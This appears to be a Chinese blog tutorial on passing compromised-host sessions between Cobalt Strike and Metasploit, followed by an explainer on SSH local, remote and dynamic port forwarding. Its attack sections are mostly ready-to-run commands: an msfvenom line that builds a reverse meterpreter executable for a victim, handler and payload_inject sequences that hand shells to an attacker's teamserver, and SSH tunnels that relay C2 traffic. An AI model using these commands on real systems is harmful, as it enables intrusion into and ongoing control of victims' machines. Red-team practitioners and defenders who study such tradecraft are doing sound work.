Foreign Beacon与CS跟MSF之间的会话派发与ssh端口转发

前言

Foreign beacon主要用于将cobalt strike的beacon shell派生到MSF上。我们也看到了有两种类型的Foreign beacon,http与https,他们的区别就是如果CS上的beacon是http的那么就用http类型的foreign beacon,反之亦然。这篇文章会讲CS派发shell到MSF,也会讲其反过程。

如果msf与cs的teamserver都在公网,那么派发将会非常简单,直接用公网ip就好。而且teamserver一般只会在公网上,但msf有可能在内网主机上。这里我们主要讲C2在公网上而MSF在内网。


具体操作(CS->MSF)

首先配置公网机器的ssh转发:

# vi /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# systemctl restart sshd.service

先输入下面这条命令再进入msf

ssh -fCNg -R 5555:10.92.78.138:5678 root@192.168.124.135

这条命令的含义是将所有访问192.168.124.135的5555端口的流量经由本机转发到10.92.78.138的5678端口,这种技术叫做ssh端口转发,在文章的结尾我会大概提一下这种技术。

打开msf依次输入以下命令:

use exploit/multi/handler

set payload windows/meterpreter/reverse_https

set lhost 10.92.78.138

set lport 5678

exploit

然后回到cs上先创建一个新的foreign listener,ip为teamserver的ip,端口为5555,然后在已有的cs的beacon上选择spawn,目标是刚创建的listener。

payload只能是32位的reverse_http或reverse_https,具体用什么看foreign beacon的情况,乱改的话就会无法派生出会话到msf上。

先看成果:
在这里插入图片描述

操作过程很简单我就不截图了,这里我给大家说一下原理。

原理

分为三点来讲

1.首先我们知道MSF在内网,即使内网只能访问公网而公网不能访问内网,这时候我们就需要将我们内网的端口转发到公网上。具体做法就是通过我们的第一条命令也就是ssh端口转发技术来实现,关于这种技术文章有很多我这边也不多提。

2.其次呢,就是关于这个Foreign beacon。就跟文章开头说的一样,如果你MSF使用的是http的payload来监听,我们就用http的Foreign,反之亦然。

3.最后我们要说的是通信原理。首先我们要知道的一个点是,msf到底在跟谁通信得到的shell?到底是跟C2也就是teamserver还是受害主机还是说跟我们的CS的客户端?

揭晓答案,msf是与受害主机进行通信的。即使C2的shell掉了,msf的也不会掉。CS的C2对与msf来说只是一个代理。
在这里插入图片描述
如上图所示,受害者主机只与C2有一个tcp连接,tcp连接是https的底层链接。

附录
在这里插入图片描述
倘若msf的windows的shell出现乱码则输入chcp 65001就可以有很大的改善。

具体操作(MSF->CS)

Metasploit派生shell给Cobaltstrike
首先,你需要拿到一个metepreter会话,将下面这条命令生成的exe文件放到目标系统上运行即可获得:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.92.78.138 LPORT=44444 -f exe >1.exe

Cobaltstrike的teamserver的ip为192.168.124.135,http监听器端口为4555

msf exploit(handler) > use exploit/windows/local/payload_inject

msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_https

msf exploit(payload_inject) > set DisablePayloadHandler true

msf exploit(payload_inject) > set LHOST 192.168.124.135

msf exploit(payload_inject) > set LPORT 4555

msf exploit(payload_inject) > set SESSION 3

msf exploit(payload_inject) > exploit

msf的shell是64位http类型的,但是我反弹的shell是32位的https类型,且依旧成功。
在这里插入图片描述
证明msf分发shell的时候,主shell的种类跟分发的shell的种类没啥关系。msf只能分发32位payload的shell。且只要msf的shell掉了,则CS的shell也会掉。


综上所述,msf派发出去的payload是32位的,且无论自己本身的shell是什么类型(无论是tcp还是http还是https),它都可以派发任意一种的32位payload。且一旦msf的shell掉了,派发出去的所有shell都会掉。

CS派发出去的shell就完全不同,即使CS自己的shell掉了,派发出去的也不会掉,派发出去的shell就相当于是一个完整的个体一般,但目前也是只能派发32位payload的shell。


ssh端口转发

一些命令参数
-C 压缩数据传输-f 后台登录用户名密码-N 不执行shell[与-g 合用] -g 允许打开的端口让远程主机访问

在一台公网 VPS 上编辑 sshd 配置,开启 ssh 转发功能,重启 ssh 服务,这是所有使用 ssh 隧道转发前的必备操作:

vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
#systemctl restart sshd.service

本地转发:
ssh -fCNg -L 5555:192.168.11.11:80 root@192.168.11.12
将远程主机192.168.11.11的80端口通过vps 11.12 转发到本地的5555端口。
本地转发就是本地跟vps先建立连接,vps再与目标主机的端口建立连接之后将目标主机的端口转发到本机的指定端口上。最终达成的效果是本机访问本机的某一个端口就可以实现访问目标端口,流量走势一般为:
外部流量–》本地5555端口—》远程服务器—》到目标主机80端口
本地转发可以达到的效果是,将远程vps的端口转发到本地,让本地的其他机器访问此主机的时候,就相当于访问了远程的vps。

远程转发:
ssh -fCNg -R 5555:172.16.99.146:80 root@172.16.99.150
#将访问vps的5555端口的流量转发到本机然后再由本机转发到172.16.99.146:80
流量走势:
外界流量—》远程服务器5555端口—》本机–》目标主机的80端口
通过远程转发可以将自己的本地端口转发到vps上,达到的效果是访问vps上的指定端口就可以访问到本地机器。

动态转发:ssh -fCNg -D 5555 root@192.168.11.12
#将所有访问本地5555端口的流量通过vps192.168.11.12转发出去。相当于一个socks代理。

假设有主机a,b,c,vps四台机器。
a可以访问b但访问不了vps,b两个人都能访问,vps可以访问b,c只能访问vps。
当a想访问vps时候,就可以在b上执行ssh本地端口转发,这样子a访问b上的一个端口就相当于访问了vps。
当有一台外网主机想访问b的时候,就可以在b上执行ssh远程端口转发,将访问vps的某个端口的流量转发到b主机自己身上。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值